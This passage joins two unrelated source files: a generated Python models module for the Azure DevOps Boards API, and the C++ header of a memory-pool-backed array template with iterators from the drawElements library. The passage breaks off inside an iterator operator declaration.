# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- # Generated file, DO NOT EDIT # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------------------------- from msrest.serialization import Model class BoardColumnBase(Model): """BoardColumnBase. :param description: Board column description. :type description: str :param name: Name of the column. :type name: str """ _attribute_map = { 'description': {'key': 'description', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'} } def __init__(self, description=None, name=None): super(BoardColumnBase, self).__init__() self.description = description self.name = name class BoardColumnCollectionResponse(Model): """BoardColumnCollectionResponse. :param _links: Links to other related objects. :type _links: :class:`ReferenceLinks <azure.devops.v5_0.boards.models.ReferenceLinks>` :param board_columns: The resulting collection of BoardColumn. :type board_columns: list of :class:`BoardColumn <azure.devops.v5_0.boards.models.BoardColumn>` :param eTag: The last change date and time for all the columns in the collection. :type eTag: list of str """ _attribute_map = { '_links': {'key': '_links', 'type': 'ReferenceLinks'}, 'board_columns': {'key': 'boardColumns', 'type': '[BoardColumn]'}, 'eTag': {'key': 'eTag', 'type': '[str]'} } def __init__(self, _links=None, board_columns=None, eTag=None): super(BoardColumnCollectionResponse, self).__init__() self._links = _links self.board_columns = board_columns self.eTag = eTag class BoardColumnCreate(BoardColumnBase): """BoardColumnCreate. :param description: Board column description. :type description: str :param name: Name of the column. :type name: str :param next_column_id: Next column identifier or supported directive: $first or $last. :type next_column_id: str """ _attribute_map = { 'description': {'key': 'description', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'next_column_id': {'key': 'nextColumnId', 'type': 'str'} } def __init__(self, description=None, name=None, next_column_id=None): super(BoardColumnCreate, self).__init__(description=description, name=name) self.next_column_id = next_column_id class BoardColumnResponse(Model): """BoardColumnResponse. :param board_column: The resulting BoardColumn. :type board_column: :class:`BoardColumn <azure.devops.v5_0.boards.models.BoardColumn>` :param eTag: The last change date and time for all the columns in the collection. :type eTag: list of str """ _attribute_map = { 'board_column': {'key': 'boardColumn', 'type': 'BoardColumn'}, 'eTag': {'key': 'eTag', 'type': '[str]'} } def __init__(self, board_column=None, eTag=None): super(BoardColumnResponse, self).__init__() self.board_column = board_column self.eTag = eTag class BoardColumnUpdate(BoardColumnCreate): """BoardColumnUpdate. :param description: Board column description. :type description: str :param next_column_id: Next column identifier or supported directive: $first or $last. :type next_column_id: str :param name: Name of the column. :type name: str """ _attribute_map = { 'description': {'key': 'description', 'type': 'str'}, 'next_column_id': {'key': 'nextColumnId', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'} } def __init__(self, description=None, next_column_id=None, name=None): super(BoardColumnUpdate, self).__init__(description=description, next_column_id=next_column_id) self.name = name class BoardItemCollectionResponse(Model): """BoardItemCollectionResponse. :param _links: Links to other related objects. :type _links: :class:`ReferenceLinks <azure.devops.v5_0.boards.models.ReferenceLinks>` :param board_items: The resulting collection of BoardItem. :type board_items: list of :class:`BoardItem <azure.devops.v5_0.boards.models.BoardItem>` :param eTag: The last change date and time for all items in the collection. :type eTag: list of str """ _attribute_map = { '_links': {'key': '_links', 'type': 'ReferenceLinks'}, 'board_items': {'key': 'boardItems', 'type': '[BoardItem]'}, 'eTag': {'key': 'eTag', 'type': '[str]'} } def __init__(self, _links=None, board_items=None, eTag=None): super(BoardItemCollectionResponse, self).__init__() self._links = _links self.board_items = board_items self.eTag = eTag class BoardItemIdAndType(Model): """BoardItemIdAndType. :param item_id: Item id. :type item_id: str :param item_type: Item type. :type item_type: str """ _attribute_map = { 'item_id': {'key': 'itemId', 'type': 'str'}, 'item_type': {'key': 'itemType', 'type': 'str'} } def __init__(self, item_id=None, item_type=None): super(BoardItemIdAndType, self).__init__() self.item_id = item_id self.item_type = item_type class BoardItemReference(BoardItemIdAndType): """BoardItemReference. :param item_id: Item id. :type item_id: str :param item_type: Item type. :type item_type: str :param unique_id: Board's unique identifier. Compound identifier generated using the item identifier and item type. :type unique_id: str :param url: Full http link to the resource. :type url: str """ _attribute_map = { 'item_id': {'key': 'itemId', 'type': 'str'}, 'item_type': {'key': 'itemType', 'type': 'str'}, 'unique_id': {'key': 'uniqueId', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'} } def __init__(self, item_id=None, item_type=None, unique_id=None, url=None): super(BoardItemReference, self).__init__(item_id=item_id, item_type=item_type) self.unique_id = unique_id self.url = url class BoardItemResponse(Model): """BoardItemResponse. :param eTag: The last changed date for the board item. :type eTag: list of str :param item: The resulting BoardItem. :type item: :class:`BoardItem <azure.devops.v5_0.boards.models.BoardItem>` """ _attribute_map = { 'eTag': {'key': 'eTag', 'type': '[str]'}, 'item': {'key': 'item', 'type': 'BoardItem'} } def __init__(self, eTag=None, item=None): super(BoardItemResponse, self).__init__() self.eTag = eTag self.item = item class BoardResponse(Model): """BoardResponse. :param board: The resulting Board. :type board: :class:`Board <azure.devops.v5_0.boards.models.Board>` :param eTag: The last date and time the board was changed. :type eTag: list of str """ _attribute_map = { 'board': {'key': 'board', 'type': 'Board'}, 'eTag': {'key': 'eTag', 'type': '[str]'} } def __init__(self, board=None, eTag=None): super(BoardResponse, self).__init__() self.board = board self.eTag = eTag class BoardRowBase(Model): """BoardRowBase. :param name: Row name. :type name: str """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'} } def __init__(self, name=None): super(BoardRowBase, self).__init__() self.name = name class BoardRowCollectionResponse(Model): """BoardRowCollectionResponse. :param _links: Links to other related objects. :type _links: :class:`ReferenceLinks <azure.devops.v5_0.boards.models.ReferenceLinks>` :param board_rows: The resulting collection of BoardRow. :type board_rows: list of :class:`BoardRow <azure.devops.v5_0.boards.models.BoardRow>` :param eTag: The last change date and time for all the rows in the collection. :type eTag: list of str """ _attribute_map = { '_links': {'key': '_links', 'type': 'ReferenceLinks'}, 'board_rows': {'key': 'boardRows', 'type': '[BoardRow]'}, 'eTag': {'key': 'eTag', 'type': '[str]'} } def __init__(self, _links=None, board_rows=None, eTag=None): super(BoardRowCollectionResponse, self).__init__() self._links = _links self.board_rows = board_rows self.eTag = eTag class BoardRowCreate(BoardRowBase): """BoardRowCreate. :param name: Row name. :type name: str :param next_row_id: Next row identifier or supported directive: $first or $last. :type next_row_id: str """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'next_row_id': {'key': 'nextRowId', 'type': 'str'} } def __init__(self, name=None, next_row_id=None): super(BoardRowCreate, self).__init__(name=name) self.next_row_id = next_row_id class BoardRowResponse(Model): """BoardRowResponse. :param board_row: The resulting collection of BoardRow. :type board_row: :class:`BoardRow <azure.devops.v5_0.boards.models.BoardRow>` :param eTag: The last change date and time for all the rows in the collection. :type eTag: list of str """ _attribute_map = { 'board_row': {'key': 'boardRow', 'type': 'BoardRow'}, 'eTag': {'key': 'eTag', 'type': '[str]'} } def __init__(self, board_row=None, eTag=None): super(BoardRowResponse, self).__init__() self.board_row = board_row self.eTag = eTag class BoardRowUpdate(BoardRowCreate): """BoardRowUpdate. :param name: Row name. :type name: str :param next_row_id: Next row identifier or supported directive: $first or $last. :type next_row_id: str """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'next_row_id': {'key': 'nextRowId', 'type': 'str'}, } def __init__(self, name=None, next_row_id=None): super(BoardRowUpdate, self).__init__(name=name, next_row_id=next_row_id) class CreateBoard(Model): """CreateBoard. :param description: Description of the board. :type description: str :param name: Name of the board to create. :type name: str """ _attribute_map = { 'description': {'key': 'description', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'} } def __init__(self, description=None, name=None): super(CreateBoard, self).__init__() self.description = description self.name = name class EntityReference(Model): """EntityReference. :param name: Name of the resource. :type name: str :param url: Full http link to the resource. :type url: str """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'} } def __init__(self, name=None, url=None): super(EntityReference, self).__init__() self.name = name self.url = url class NewBoardItem(BoardItemIdAndType): """NewBoardItem. :param item_id: Item id. :type item_id: str :param item_type: Item type. :type item_type: str :param column_id: Board column identifier. :type column_id: str :param next_item_unique_id: Next item unique identifier or supported directive: $first or $last. :type next_item_unique_id: str :param row_id: Board row identifier. :type row_id: str """ _attribute_map = { 'item_id': {'key': 'itemId', 'type': 'str'}, 'item_type': {'key': 'itemType', 'type': 'str'}, 'column_id': {'key': 'columnId', 'type': 'str'}, 'next_item_unique_id': {'key': 'nextItemUniqueId', 'type': 'str'}, 'row_id': {'key': 'rowId', 'type': 'str'} } def __init__(self, item_id=None, item_type=None, column_id=None, next_item_unique_id=None, row_id=None): super(NewBoardItem, self).__init__(item_id=item_id, item_type=item_type) self.column_id = column_id self.next_item_unique_id = next_item_unique_id self.row_id = row_id class ReferenceLinks(Model): """ReferenceLinks. :param links: The readonly view of the links. Because Reference links are readonly, we only want to expose them as read only. :type links: dict """ _attribute_map = { 'links': {'key': 'links', 'type': '{object}'} } def __init__(self, links=None): super(ReferenceLinks, self).__init__() self.links = links class UpdateBoard(Model): """UpdateBoard. :param description: New description of the board. :type description: str :param name: New name of the board. :type name: str """ _attribute_map = { 'description': {'key': 'description', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'} } def __init__(self, description=None, name=None): super(UpdateBoard, self).__init__() self.description = description self.name = name class UpdateBoardItem(Model): """UpdateBoardItem. :param column_id: Board column identifier. :type column_id: str :param next_item_unique_id: Next unique item identifier or supported directive: $first or $last. :type next_item_unique_id: str :param row_id: Board row identifier. :type row_id: str """ _attribute_map = { 'column_id': {'key': 'columnId', 'type': 'str'}, 'next_item_unique_id': {'key': 'nextItemUniqueId', 'type': 'str'}, 'row_id': {'key': 'rowId', 'type': 'str'} } def __init__(self, column_id=None, next_item_unique_id=None, row_id=None): super(UpdateBoardItem, self).__init__() self.column_id = column_id self.next_item_unique_id = next_item_unique_id self.row_id = row_id class BoardColumn(BoardColumnBase): """BoardColumn. :param description: Board column description. :type description: str :param name: Name of the column. :type name: str :param _links: Links to other related objects. :type _links: :class:`ReferenceLinks <azure.devops.v5_0.boards.models.ReferenceLinks>` :param id: Id of the resource. :type id: str :param next_column_id: Next column identifier. :type next_column_id: str :param url: Full http link to the resource. :type url: str """ _attribute_map = { 'description': {'key': 'description', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, '_links': {'key': '_links', 'type': 'ReferenceLinks'}, 'id': {'key': 'id', 'type': 'str'}, 'next_column_id': {'key': 'nextColumnId', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'} } def __init__(self, description=None, name=None, _links=None, id=None, next_column_id=None, url=None): super(BoardColumn, self).__init__(description=description, name=name) self._links = _links self.id = id self.next_column_id = next_column_id self.url = url class BoardItem(BoardItemReference): """BoardItem. :param item_id: Item id. :type item_id: str :param item_type: Item type. :type item_type: str :param unique_id: Board's unique identifier. Compound identifier generated using the item identifier and item type. :type unique_id: str :param url: Full http link to the resource. :type url: str :param _links: Links to other related objects. :type _links: :class:`ReferenceLinks <azure.devops.v5_0.boards.models.ReferenceLinks>` :param board_id: Board id for this item. :type board_id: int :param column: Board column id for this item. :type column: str :param next_item_unique_id: Next item unique identifier. :type next_item_unique_id: str :param row: Board row id for this item. :type row: str """ _attribute_map = { 'item_id': {'key': 'itemId', 'type': 'str'}, 'item_type': {'key': 'itemType', 'type': 'str'}, 'unique_id': {'key': 'uniqueId', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, '_links': {'key': '_links', 'type': 'ReferenceLinks'}, 'board_id': {'key': 'boardId', 'type': 'int'}, 'column': {'key': 'column', 'type': 'str'}, 'next_item_unique_id': {'key': 'nextItemUniqueId', 'type': 'str'}, 'row': {'key': 'row', 'type': 'str'} } def __init__(self, item_id=None, item_type=None, unique_id=None, url=None, _links=None, board_id=None, column=None, next_item_unique_id=None, row=None): super(BoardItem, self).__init__(item_id=item_id, item_type=item_type, unique_id=unique_id, url=url) self._links = _links self.board_id = board_id self.column = column self.next_item_unique_id = next_item_unique_id self.row = row class BoardReference(EntityReference): """BoardReference. :param name: Name of the resource. :type name: str :param url: Full http link to the resource. :type url: str :param id: Id of the resource. :type id: int """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'id': {'key': 'id', 'type': 'int'} } def __init__(self, name=None, url=None, id=None): super(BoardReference, self).__init__(name=name, url=url) self.id = id class BoardRow(BoardRowBase): """BoardRow. :param name: Row name. :type name: str :param _links: Links to other related objects. :type _links: :class:`ReferenceLinks <azure.devops.v5_0.boards.models.ReferenceLinks>` :param id: Id of the resource. :type id: str :param next_row_id: Next row identifier. :type next_row_id: str :param url: Full http link to the resource. :type url: str """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, '_links': {'key': '_links', 'type': 'ReferenceLinks'}, 'id': {'key': 'id', 'type': 'str'}, 'next_row_id': {'key': 'nextRowId', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'} } def __init__(self, name=None, _links=None, id=None, next_row_id=None, url=None): super(BoardRow, self).__init__(name=name) self._links = _links self.id = id self.next_row_id = next_row_id self.url = url class Board(BoardReference): """Board. :param name: Name of the resource. :type name: str :param url: Full http link to the resource. :type url: str :param id: Id of the resource. :type id: int :param _links: Links to other related objects. :type _links: :class:`ReferenceLinks <azure.devops.v5_0.boards.models.ReferenceLinks>` :param description: Description of the board. :type description: str """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'id': {'key': 'id', 'type': 'int'}, '_links': {'key': '_links', 'type': 'ReferenceLinks'}, 'description': {'key': 'description', 'type': 'str'} } def __init__(self, name=None, url=None, id=None, _links=None, description=None): super(Board, self).__init__(name=name, url=url, id=id) self._links = _links self.description = description __all__ = [ 'BoardColumnBase', 'BoardColumnCollectionResponse', 'BoardColumnCreate', 'BoardColumnResponse', 'BoardColumnUpdate', 'BoardItemCollectionResponse', 'BoardItemIdAndType', 'BoardItemReference', 'BoardItemResponse', 'BoardResponse', 'BoardRowBase', 'BoardRowCollectionResponse', 'BoardRowCreate', 'BoardRowResponse', 'BoardRowUpdate', 'CreateBoard', 'EntityReference', 'NewBoardItem', 'ReferenceLinks', 'UpdateBoard', 'UpdateBoardItem', 'BoardColumn', 'BoardItem', 'BoardReference', 'BoardRow', 'Board', ]
8,140
354
<filename>framework/delibs/decpp/dePoolArray.hpp #ifndef _DEPOOLARRAY_HPP #define _DEPOOLARRAY_HPP /*------------------------------------------------------------------------- * drawElements C++ Base Library * ----------------------------- * * Copyright 2014 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *//*! * \file * \brief Array template backed by memory pool. *//*--------------------------------------------------------------------*/ #include "deDefs.hpp" #include "deMemPool.hpp" #include "deInt32.h" #include <iterator> namespace de { //! Self-test for PoolArray void PoolArray_selfTest (void); template<typename T, deUint32 Alignment> class PoolArrayConstIterator; template<typename T, deUint32 Alignment> class PoolArrayIterator; /*--------------------------------------------------------------------*//*! * \brief Array template backed by memory pool * * \note Memory in PoolArray is not contiguous so pointer arithmetic * to access next element(s) doesn't work. * \todo [2013-02-11 pyry] Make elements per page template argument. *//*--------------------------------------------------------------------*/ template<typename T, deUint32 Alignment = (sizeof(T) > sizeof(void*) ? (deUint32)sizeof(void*) : (deUint32)sizeof(T))> class PoolArray { public: typedef PoolArrayIterator<T, Alignment> Iterator; typedef PoolArrayConstIterator<T, Alignment> ConstIterator; typedef Iterator iterator; typedef ConstIterator const_iterator; explicit PoolArray (MemPool* pool); PoolArray (MemPool* pool, const PoolArray<T, Alignment>& other); ~PoolArray (void); void clear (void); void reserve (deUintptr capacity); void resize (deUintptr size); void resize (deUintptr size, const T& value); deUintptr size (void) const { return m_numElements; } bool empty (void) const { return m_numElements == 0;} void pushBack (const T& value); T popBack (void); const T& at (deIntptr ndx) const { return *getPtr(ndx); } T& at (deIntptr ndx) { return *getPtr(ndx); } const T& operator[] (deIntptr ndx) const { return at(ndx); } T& operator[] (deIntptr ndx) { return at(ndx); } Iterator begin (void) { return Iterator(this, 0); } Iterator end (void) { return Iterator(this, (deIntptr)m_numElements); } ConstIterator begin (void) const { return ConstIterator(this, 0); } ConstIterator end (void) const { return ConstIterator(this, (deIntptr)m_numElements); } const T& front (void) const { return at(0); } T& front (void) { return at(0); } const T& back (void) const { return at(m_numElements-1); } T& back (void) { return at(m_numElements-1); } private: enum { ELEMENTS_PER_PAGE_LOG2 = 4 //!< 16 elements per page. }; PoolArray (const PoolArray<T, Alignment>& other); // \note Default copy ctor is not allowed, use PoolArray(pool, copy) instead. T* getPtr (deIntptr ndx) const; MemPool* m_pool; deUintptr m_numElements; //!< Number of elements in the array. deUintptr m_capacity; //!< Number of allocated elements in the array. deUintptr m_pageTableCapacity; //!< Size of the page table. void** m_pageTable; //!< Pointer to the page table. }; template<typename T, deUint32 Alignment> class PoolArrayIteratorBase { public: PoolArrayIteratorBase (deUintptr ndx) : m_ndx(ndx) {} ~PoolArrayIteratorBase (void) {} deIntptr getNdx (void) const throw() { return m_ndx; } protected: deIntptr m_ndx; }; template<typename T, deUint32 Alignment> class PoolArrayConstIterator : public PoolArrayIteratorBase<T, Alignment> { public: PoolArrayConstIterator (void); PoolArrayConstIterator (const PoolArray<T, Alignment>* array, deIntptr ndx); PoolArrayConstIterator (const PoolArrayIterator<T, Alignment>& iterator); ~PoolArrayConstIterator (void); // \note Default assignment and copy-constructor are auto-generated. const PoolArray<T, Alignment>* getArray (void) const throw() { return m_array; } // De-reference operators. const T* operator-> (void) const throw() { return &(*m_array)[this->m_ndx]; } const T& operator* (void) const throw() { return (*m_array)[this->m_ndx]; } const T& operator[] (deUintptr offs) const throw() { return (*m_array)[this->m_ndx+offs]; } // Pre-increment and decrement. PoolArrayConstIterator<T, Alignment>& operator++ (void) { this->m_ndx += 1; return *this; } PoolArrayConstIterator<T, Alignment>& operator-- (void) { this->m_ndx -= 1; return *this; } // Post-increment and decrement. PoolArrayConstIterator<T, Alignment> operator++ (int) { PoolArrayConstIterator<T, Alignment> copy(*this); this->m_ndx +=1; return copy; } PoolArrayConstIterator<T, Alignment> operator-- (int) { PoolArrayConstIterator<T, Alignment> copy(*this); this->m_ndx -=1; return copy; } // Compound assignment. PoolArrayConstIterator<T, Alignment>& operator+= (deIntptr offs) { this->m_ndx += offs; return *this; } PoolArrayConstIterator<T, Alignment>& operator-= (deIntptr offs) { this->m_ndx -= offs; return *this; } // Assignment from non-const. PoolArrayConstIterator<T, Alignment>& operator= (const PoolArrayIterator<T, Alignment>& iter); private: const PoolArray<T, Alignment>* m_array; }; template<typename T, deUint32 Alignment> class PoolArrayIterator : public PoolArrayIteratorBase<T, Alignment> { public: PoolArrayIterator (void); PoolArrayIterator (PoolArray<T, Alignment>* array, deIntptr ndx); ~PoolArrayIterator (void); // \note Default assignment and copy-constructor are auto-generated. PoolArray<T, Alignment>* getArray (void) const throw() { return m_array; } // De-reference operators. T* operator-> (void) const throw() { return &(*m_array)[this->m_ndx]; } T& operator* (void) const throw() { return (*m_array)[this->m_ndx]; } T& operator[] (deUintptr offs) const throw() { return (*m_array)[this->m_ndx+offs]; } // Pre-increment and decrement. PoolArrayIterator<T, Alignment>& operator++ (void) { this->m_ndx += 1; return *this; } PoolArrayIterator<T, Alignment>& operator-- (void) { this->m_ndx -= 1; return *this; } // Post-increment and decrement. PoolArrayIterator<T, Alignment> operator++ (int) { PoolArrayIterator<T, Alignment> copy(*this); this->m_ndx +=1; return copy; } PoolArrayIterator<T, Alignment> operator-- (int) { PoolArrayIterator<T, Alignment> copy(*this); this->m_ndx -=1; return copy; } // Compound assignment. PoolArrayIterator<T, Alignment>& operator+= (deIntptr offs) { this->m_ndx += offs; return *this; } PoolArrayIterator<T, Alignment>& operator-= (deIntptr offs) { this->m_ndx -= offs; return *this; } private: PoolArray<T, Alignment>* m_array; }; // Initializer helper for array. template<typename T> struct PoolArrayElement { static void constructDefault (void* ptr) { new (ptr) T(); } //!< Called for non-initialized memory. static void constructCopy (void* ptr, const T& val) { new (ptr) T(val); } //!< Called for non-initialized memory when initial value is provided. static void destruct (T* ptr) { ptr->~T(); } //!< Called when element is destructed. }; // Specialization for basic types. #define DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(TYPE) \ template<> struct PoolArrayElement<TYPE> { \ static void constructDefault (void*) {} \ static void constructCopy (void* ptr, TYPE val) { *(TYPE*)ptr = val; } \ static void destruct (TYPE*) {} \ } DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(deUint8); DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(deUint16); DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(deUint32); DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(deUint64); DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(deInt8); DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(deInt16); DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(deInt32); DE_SPECIALIZE_POOL_ARRAY_ELEMENT_BASIC_TYPE(deInt64); // PoolArray<T> implementation. template<typename T, deUint32 Alignment> PoolArray<T, Alignment>::PoolArray (MemPool* pool) : m_pool (pool) , m_numElements (0) , m_capacity (0) , m_pageTableCapacity (0) , m_pageTable (0) { DE_ASSERT(deIsPowerOfTwo32(Alignment)); } template<typename T, deUint32 Alignment> PoolArray<T, Alignment>::~PoolArray (void) { // Clear resets values to T() clear(); } template<typename T, deUint32 Alignment> inline void PoolArray<T, Alignment>::clear (void) { resize(0); } template<typename T, deUint32 Alignment> inline void PoolArray<T, Alignment>::resize (deUintptr newSize) { if (newSize < m_numElements) { // Destruct elements that are no longer active. for (deUintptr ndx = newSize; ndx < m_numElements; ndx++) PoolArrayElement<T>::destruct(getPtr(ndx)); m_numElements = newSize; } else if (newSize > m_numElements) { deUintptr prevSize = m_numElements; reserve(newSize); m_numElements = newSize; // Fill new elements with default values for (deUintptr ndx = prevSize; ndx < m_numElements; ndx++) PoolArrayElement<T>::constructDefault(getPtr(ndx)); } } template<typename T, deUint32 Alignment> inline void PoolArray<T, Alignment>::resize (deUintptr newSize, const T& value) { if (newSize < m_numElements) resize(newSize); // value is not used else if (newSize > m_numElements) { deUintptr prevSize = m_numElements; reserve(newSize); m_numElements = newSize; // Fill new elements with copies of value for (deUintptr ndx = prevSize; ndx < m_numElements; ndx++) PoolArrayElement<T>::constructCopy(getPtr(ndx), value); } } template<typename T, deUint32 Alignment> inline void PoolArray<T, Alignment>::reserve (deUintptr capacity) { if (capacity >= m_capacity) { void* oldPageTable = DE_NULL; deUintptr oldPageTableSize = 0; deUintptr newCapacity = (deUintptr)deAlignPtr((void*)capacity, 1 << ELEMENTS_PER_PAGE_LOG2); deUintptr reqPageTableCapacity = newCapacity >> ELEMENTS_PER_PAGE_LOG2; if (m_pageTableCapacity < reqPageTableCapacity) { deUintptr newPageTableCapacity = max(2*m_pageTableCapacity, reqPageTableCapacity); void** newPageTable = (void**)m_pool->alloc(newPageTableCapacity * sizeof(void*)); deUintptr i; for (i = 0; i < m_pageTableCapacity; i++) newPageTable[i] = m_pageTable[i]; for (; i < newPageTableCapacity; i++) newPageTable[i] = DE_NULL; // Grab information about old page table for recycling purposes. oldPageTable = m_pageTable; oldPageTableSize = m_pageTableCapacity * sizeof(T*); m_pageTable = newPageTable; m_pageTableCapacity = newPageTableCapacity; } // Allocate new pages. { deUintptr elementSize = (deUintptr)deAlignPtr((void*)(deUintptr)sizeof(T), Alignment); deUintptr pageAllocSize = elementSize << ELEMENTS_PER_PAGE_LOG2; deUintptr pageTableNdx = m_capacity >> ELEMENTS_PER_PAGE_LOG2; // Allocate new pages from recycled old page table. for (;;) { void* newPage = deAlignPtr(oldPageTable, Alignment); deUintptr alignPadding = (deUintptr)newPage - (deUintptr)oldPageTable; if (oldPageTableSize < pageAllocSize+alignPadding) break; // No free space for alloc + alignment. DE_ASSERT(m_pageTableCapacity > pageTableNdx); DE_ASSERT(!m_pageTable[pageTableNdx]); m_pageTable[pageTableNdx++] = newPage; oldPageTable = (void*)((deUint8*)newPage + pageAllocSize); oldPageTableSize -= pageAllocSize+alignPadding; } // Allocate the rest of the needed pages from the pool. for (; pageTableNdx < reqPageTableCapacity; pageTableNdx++) { DE_ASSERT(!m_pageTable[pageTableNdx]); m_pageTable[pageTableNdx] = m_pool->alignedAlloc(pageAllocSize, Alignment); } m_capacity = pageTableNdx << ELEMENTS_PER_PAGE_LOG2; DE_ASSERT(m_capacity >= newCapacity); } } } template<typename T, deUint32 Alignment> inline void PoolArray<T, Alignment>::pushBack (const T& value) { resize(size()+1); at(size()-1) = value; } template<typename T, deUint32 Alignment> inline T PoolArray<T, Alignment>::popBack (void) { T val = at(size()-1); resize(size()-1); return val; } template<typename T, deUint32 Alignment> inline T* PoolArray<T, Alignment>::getPtr (deIntptr ndx) const { DE_ASSERT(inBounds<deIntptr>(ndx, 0, (deIntptr)m_numElements)); deUintptr pageNdx = ((deUintptr)ndx >> ELEMENTS_PER_PAGE_LOG2); deUintptr subNdx = (deUintptr)ndx & ((1 << ELEMENTS_PER_PAGE_LOG2) - 1); deUintptr elemSize = (deUintptr)deAlignPtr((void*)(deUintptr)sizeof(T), Alignment); T* ptr = (T*)((deUint8*)m_pageTable[pageNdx] + (subNdx*elemSize)); DE_ASSERT(deIsAlignedPtr(ptr, Alignment)); return ptr; } // PoolArrayIteratorBase implementation template<typename T, deUint32 Alignment> inline bool operator== (const PoolArrayIteratorBase<T, Alignment>& a, const PoolArrayIteratorBase<T, Alignment>& b) { // \todo [2013-02-08 pyry] Compare array ptr. return a.getNdx() == b.getNdx(); } template<typename T, deUint32 Alignment> inline bool operator!= (const PoolArrayIteratorBase<T, Alignment>& a, const PoolArrayIteratorBase<T, Alignment>& b) { // \todo [2013-02-08 pyry] Compare array ptr. return a.getNdx() != b.getNdx(); } template<typename T, deUint32 Alignment> inline bool operator< (const PoolArrayIteratorBase<T, Alignment>& a, const PoolArrayIteratorBase<T, Alignment>& b) { return a.getNdx() < b.getNdx(); } template<typename T, deUint32 Alignment> inline bool operator> (const PoolArrayIteratorBase<T, Alignment>& a, const PoolArrayIteratorBase<T, Alignment>& b) { return a.getNdx() > b.getNdx(); } template<typename T, deUint32 Alignment> inline bool operator<= (const PoolArrayIteratorBase<T, Alignment>& a, const PoolArrayIteratorBase<T, Alignment>& b) { return a.getNdx() <= b.getNdx(); } template<typename T, deUint32 Alignment> inline bool operator>= (const PoolArrayIteratorBase<T, Alignment>& a, const PoolArrayIteratorBase<T, Alignment>& b) { return a.getNdx() >= b.getNdx(); } // PoolArrayConstIterator<T> implementation template<typename T, deUint32 Alignment> inline PoolArrayConstIterator<T, Alignment>::PoolArrayConstIterator (void) : PoolArrayIteratorBase<T, Alignment> (0) , m_array (DE_NULL) { } template<typename T, deUint32 Alignment> inline PoolArrayConstIterator<T, Alignment>::PoolArrayConstIterator (const PoolArray<T, Alignment>* array, deIntptr ndx) : PoolArrayIteratorBase<T, Alignment> (ndx) , m_array (array) { } template<typename T, deUint32 Alignment> inline PoolArrayConstIterator<T, Alignment>::PoolArrayConstIterator (const PoolArrayIterator<T, Alignment>& iter) : PoolArrayIteratorBase<T, Alignment> (iter) , m_array (iter.getArray()) { } template<typename T, deUint32 Alignment> inline PoolArrayConstIterator<T, Alignment>::~PoolArrayConstIterator (void) { } // Arithmetic operators. template<typename T, deUint32 Alignment> inline PoolArrayConstIterator<T, Alignment> operator+ (const PoolArrayConstIterator<T, Alignment>& iter, deIntptr offs) { return PoolArrayConstIterator<T, Alignment>(iter->getArray(), iter->getNdx()+offs); } template<typename T, deUint32 Alignment> inline PoolArrayConstIterator<T, Alignment> operator+ (deUintptr offs, const PoolArrayConstIterator<T, Alignment>& iter) { return PoolArrayConstIterator<T, Alignment>(iter->getArray(), iter->getNdx()+offs); } template<typename T, deUint32 Alignment> PoolArrayConstIterator<T, Alignment> operator- (const PoolArrayConstIterator<T, Alignment>& iter, deIntptr offs) { return PoolArrayConstIterator<T, Alignment>(iter.getArray(), iter.getNdx()-offs); } template<typename T, deUint32 Alignment> deIntptr operator- (const PoolArrayConstIterator<T, Alignment>& iter, const PoolArrayConstIterator<T, Alignment>& other) { return iter.getNdx()-other.getNdx(); } // PoolArrayIterator<T> implementation. template<typename T, deUint32 Alignment> inline PoolArrayIterator<T, Alignment>::PoolArrayIterator (void) : PoolArrayIteratorBase<T, Alignment> (0) , m_array (DE_NULL) { } template<typename T, deUint32 Alignment> inline PoolArrayIterator<T, Alignment>::PoolArrayIterator (PoolArray<T, Alignment>* array, deIntptr ndx) : PoolArrayIteratorBase<T, Alignment> (ndx) , m_array (array) { } template<typename T, deUint32 Alignment> inline PoolArrayIterator<T, Alignment>::~PoolArrayIterator (void) { } // Arithmetic operators. template<typename T, deUint32 Alignment> inline PoolArrayIterator<T, Alignment> operator+ (const PoolArrayIterator<T, Alignment>& iter, deIntptr offs) { return PoolArrayIterator<T, Alignment>(iter.getArray(), iter.getNdx()+offs); } template<typename T, deUint32 Alignment> inline PoolArrayIterator<T, Alignment> operator+ (deUintptr offs, const PoolArrayIterator<T, Alignment>& iter) { return PoolArrayIterator<T, Alignment>(iter.getArray(), iter.getNdx()+offs); } template<typename T, deUint32 Alignment> PoolArrayIterator<T, Alignment> operator- (const PoolArrayIterator<T, 